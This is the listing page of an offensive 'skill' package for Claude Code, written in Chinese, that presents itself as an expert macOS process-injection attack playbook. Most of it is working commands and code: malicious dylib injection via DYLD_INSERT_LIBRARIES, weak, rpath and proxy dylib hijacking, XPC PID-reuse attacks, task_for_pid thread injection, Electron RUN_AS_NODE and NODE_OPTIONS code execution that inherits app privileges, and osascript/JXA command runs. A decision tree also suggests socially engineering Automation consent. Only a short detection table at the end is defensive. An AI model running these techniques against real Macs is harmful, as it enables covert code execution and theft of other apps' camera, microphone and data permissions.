关于 macos-process-injection
面向安全测试人员的 macOS 进程注入技能,梳理各类注入路径、前置条件与检测痕迹,涵盖原生程序、XPC、Mach 和 Electron 攻击面。
主要功能
- 01DYLD 环境变量注入条件
- 02弱 dylib 与 @rpath 劫持
- 03XPC PID 校验弱点
- 04Mach 端口与 MIG 攻击面
- 05Electron 注入与检测线索
适用场景
- 01评估目标程序的 dylib 可劫持性
- 02检查 XPC 服务的客户端校验
- 03分析 Electron 应用的注入入口
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill macos-process-injection安装后在 Claude Code 中输入/macos-process-injection确认已加载。
附带文件DYLIB_XPC_TECHNIQUES.md
详细介绍
技能:macOS 进程注入——专家攻击手册
AI 加载指令:macOS 专家级进程注入技术。涵盖 DYLD_INSERT_LIBRARIES、dylib 劫持(弱链接/rpath/代理)、XPC PID 复用攻击、Mach 端口操作、MIG 滥用和 Electron 注入。基础模型容易忽略注入向量的权限要求和 SIP 限制。
0. 相关路由
在深入研究前,可考虑加载:
- macos-security-bypass,以绕过阻止注入的 TCC、Gatekeeper 或 SIP 保护
- linux-privilege-escalation,了解 Unix 层面的提权(共享对象劫持概念也适用)
高级参考
在需要以下内容时,也加载 DYLIB_XPC_TECHNIQUES.md:
- 使用工具命令逐步讲解 dylib 劫持方法
- 附带代码示例的 XPC 利用流程
- Mach 端口技术细节和 task_for_pid 模式
1. DYLD_INSERT_LIBRARIES 注入
最直接的注入方式:设置一个环境变量,强制动态链接器预加载你的 dylib。
1.1 要求和限制
| 条件 | 可以注入? | 原因 |
|---|---|---|
| 普通(非强化运行时)二进制文件 | 可以 | 没有限制 |
| 已启用强化运行时 | 不可以 | DYLD 会清除环境变量 |
强化运行时 + com.apple.security.cs.allow-dyld-environment-variables | 可以 | 权限明确允许 |
| Apple 系统二进制文件(受 SIP 保护) | 不可以 | SIP 会清除 DYLD 环境变量 |
| SUID/SGID 二进制文件 | 不可以 | 出于权限安全考虑,DYLD 环境变量会被清除 |
| 已启用 App Sandbox | 不可以 | 沙盒会阻止环境变量注入 |
1.2 基本注入
# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
printf("[+] Injected into PID %d\n", getpid());
// payload here
}
EOF
# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64
# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target
1.3 查找可注入目标
# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
if [ -n "$binary" ]; then
flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
fi
' _ {} \;
# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
codesign -d --entitlements :- "$binary" 2>/dev/null | \
grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;
2. DYLIB 劫持
利用动态链接器的库搜索顺序,加载攻击者控制的 dylib,以替代或补充合法库。
2.1 弱 dylib 劫持(LC_LOAD_WEAK_DYLIB)
弱 dylib 是可选的——如果缺失,二进制文件仍可运行。如果能将 dylib 放到预期路径,它就会被加载。
# Find binaries with weak dylib references
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB
# Check if the weak dylib actually exists
otool -L /path/to/binary | grep weak | while read lib rest; do
[ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done
2.2 @rpath 劫持
@rpath 根据二进制文件中的 LC_RPATH 条目解析。如果较早的 rpath 目录可写,就可以将 dylib 放在那里。
# List rpath entries
otool -l /path/to/binary | grep -A 2 LC_RPATH
# List rpath-relative dylib references
otool -L /path/to/binary | grep @rpath
# If rpath includes writable directory (e.g., app's Frameworks/)
# place malicious dylib with matching name there
2.3 Dylib 代理
用恶意 dylib 替换合法 dylib,并让它将所有导出转发给原始库。
# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'
# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
// malicious code here
}
EOF
gcc -dynamiclib -o hijacked.dylib proxy.c \
-Wl,-reexport_library,/path/to/original_real.dylib \
-arch x86_64 -arch arm64
2.4 依赖项枚举
otool -L /path/to/binary # List all dylib dependencies
otool -l /path/to/binary # Full load commands (rpaths, weak, etc.)
dyldinfo -print_dependencies /path/to/binary # Detailed dependency info (pre-Ventura)
3. XPC 利用
XPC(跨进程通信)是 macOS 用于权限隔离的主要 IPC 机制。特权 XPC 服务是高价值目标。
3.1 XPC 服务发现
# System XPC services
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20
# Third-party XPC services
find /Library /Applications -name "*.xpc" -type d 2>/dev/null
# LaunchDaemon XPC services (root-level)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null
3.2 PID 复用攻击
通过 PID 验证的 XPC 连接容易受到竞态条件影响:攻击者启动进程,PID 检查通过后,攻击者的进程退出,操作系统将该 PID 复用于恶意进程。
| 验证方式 | 是否易受攻击? | 说明 |
|---|---|---|
| 基于 PID 的检查 | 是 | 进程退出后 PID 会被回收 |
| 审计令牌 | 否 | 每个进程生命周期内唯一,不会被回收 |
| 代码签名检查 | 否 | 验证签名身份 |
| 权限检查 | 否 | 检查进程权限 |
Timeline of PID reuse attack:
1. Legitimate client (PID 1234) connects to XPC service
2. XPC service checks PID 1234 → valid
3. Legitimate client exits (PID 1234 freed)
4. Attacker rapidly forks to get PID 1234
5. Attacker's process (now PID 1234) sends malicious XPC message
6. XPC service trusts PID 1234 (cached validation)
3.3 XPC 客户端验证弱点
| 弱点 | 描述 | 利用方式 |
|---|---|---|
| 未验证客户端 | 服务接受任何连接 | 直接连接并发送命令 |
| 仅验证 PID | 可利用竞态条件 | PID 复用攻击(§3.2) |
| 仅检查 Bundle ID | Bundle ID 可以伪造 | 创建具有匹配 Bundle ID 的应用 |
| 代码要求不完整 | 缺少 anchor 检查 | 使用任何符合部分要求的证书签名 |
| 在错误的进程上检查权限 | 检查父进程而非客户端 | 从具有相应权限的父进程启动 |
4. MACH 端口操作
Mach 端口是 XPC 底层的内核级 IPC 基元。直接访问 Mach 端口可以实现强大的注入能力。
4.1 Task 端口(task_for_pid)
// Requires root or taskgated entitlement
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
// Can now read/write target process memory
// Can inject threads via thread_create_running
}
| 访问方式 | 要求 | 利用后的能力 |
|---|---|---|
task_for_pid() | Root + 目标未受 SIP 保护 | 完整的内存读写权限、线程注入 |
processor_set_tasks() | Root + com.apple.system-task-ports | 枚举所有 Task 端口 |
| 异常端口 | 通过 task_set_exception_ports 设置 | 捕获目标崩溃、重定向执行 |
| 线程注入 | 已获取 Task 端口 | 在目标地址空间中创建新线程 |
4.2 端口命名空间操纵
| 技术 | 说明 |
|---|---|
| 猜测端口名称 | Mach 端口名称是连续整数,在某些情况下可以暴力破解 |
mach_port_insert_right | 向目标的命名空间中插入发送权限(需要 Task 端口) |
| 滥用 Bootstrap 服务 | 在合法服务注册前注册服务名称 → 拦截连接 |
5. 滥用 MIG(MACH 接口生成器)
MIG 会为 Mach IPC 生成 C 存根。MIG 服务端的分发例程可能存在漏洞。
5.1 分析方法
# Find MIG subsystems in a binary
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"
# Identify MIG routine dispatch tables
otool -tV /path/to/binary | grep -A 5 "server_routine"
5.2 常见 MIG 漏洞
| 漏洞 | 说明 |
|---|---|
| 缺少审计令牌验证 | MIG 处理程序不会验证发送方身份 |
| 类型混淆 | MIG 反序列化会信任客户端提供的类型描述符 |
| 端口生命周期问题 | MIG 调用之间的 Mach 端口发生释放后使用 |
| OOL(带外)内存滥用 | OOL 描述符过大 → 内核内存问题 |
6. ELECTRON / CHROMIUM 注入
许多 macOS 应用使用 Electron(Slack、Discord、VS Code、Teams 等)。Electron 应用会暴露多个注入面。
6.1 ELECTRON_RUN_AS_NODE
# Turns Electron app into a plain Node.js runtime
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
"require('child_process').execSync('id').toString()"
# This inherits the app's TCC permissions!
# If Slack has camera/mic/screen recording, your code gets it too.
6.2 调试标志
# Open Chrome DevTools protocol on the app
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# Then connect: chrome://inspect in Chrome browser
# Break before any code runs
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=9229
6.3 NODE_OPTIONS 注入
# Inject preload script via NODE_OPTIONS
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"
6.4 Electron 熔断开关
现代 Electron 应用使用“熔断开关”来禁用危险功能。检查熔断开关状态:
| 熔断开关 | 启用时(安全) | 禁用时(可利用) |
|---|---|---|
RunAsNode | ELECTRON_RUN_AS_NODE 被移除 | 可以将应用用作 Node.js |
EnableNodeCliInspectArguments | --inspect 标志被移除 | 可以附加调试器 |
EnableNodeOptionsEnvironmentVariable | NODE_OPTIONS 被移除 | 可以注入预加载项 |
OnlyLoadAppFromAsar | 仅从 .asar 加载 | 可以替换 JS 文件 |
# Check electron fuse status (requires npx @electron/fuses)
npx @electron/fuses read --app "/Applications/Target.app"
7. 应用脚本编写(APPLE EVENTS)
# Inject via osascript (if Automation permission exists)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'
# JavaScript for Automation (JXA)
osascript -l JavaScript -e '
var app = Application("Terminal");
app.doScript("id > /tmp/pwned");
'
# JXA with ObjC bridge (powerful)
osascript -l JavaScript -e '
ObjC.import("Cocoa");
var task = $.NSTask.alloc.init;
task.launchPath = "/bin/bash";
task.arguments = ["-c", "id > /tmp/pwned"];
task.launch;
'
8. 进程注入决策树
Need to inject code into macOS process
│
├── Target uses Electron?
│ ├── Fuses disabled? → ELECTRON_RUN_AS_NODE (§6.1)
│ ├── Debugging available? → --inspect flag (§6.2)
│ ├── NODE_OPTIONS not stripped? → preload injection (§6.3)
│ └── All fuses on? → check dylib path or XPC
│
├── Target has dylib env var entitlement?
│ └── Yes → DYLD_INSERT_LIBRARIES (§1)
│
├── Target has missing or weak dylib?
│ ├── LC_LOAD_WEAK_DYLIB with missing lib? → place dylib (§2.1)
│ ├── @rpath with writable dir first in search? → rpath hijack (§2.2)
│ └── Existing dylib in writable location? → dylib proxy (§2.3)
│
├── Target exposes XPC service?
│ ├── No client validation? → connect directly (§3.3)
│ ├── PID-only validation? → PID reuse attack (§3.2)
│ └── Audit token validation? → need different vector
│
├── Have root access?
│ ├── Target not SIP-protected? → task_for_pid injection (§4.1)
│ └── SIP-protected? → need SIP bypass first (→ macos-security-bypass)
│
├── Can use Apple Events?
│ ├── Automation permission for target? → osascript injection (§7)
│ └── No permission? → social engineer Automation consent
│
└── None of the above?
├── Check for MIG server vulnerabilities (§5)
└── Look for bootstrap server name collision (§4.2)
9. 检测与取证
| 证据 | 检查位置 |
|---|---|
| 使用 DYLD_INSERT_LIBRARIES | 进程环境(/proc/PID/environ、ps eww) |
| 加载了意外的动态库 | vmmap PID 或 DYLD_PRINT_LIBRARIES=1 输出 |
| XPC 连接异常 | Endpoint Security 的 es_event_type_t XPC 事件 |
| Electron 调试端口处于开放状态 | lsof -i :9229 |
| osascript 执行 | 统一日志:log show --predicate 'process=="osascript"' |
| 执行未签名代码 | codesign --verify 失败、Gatekeeper 日志 |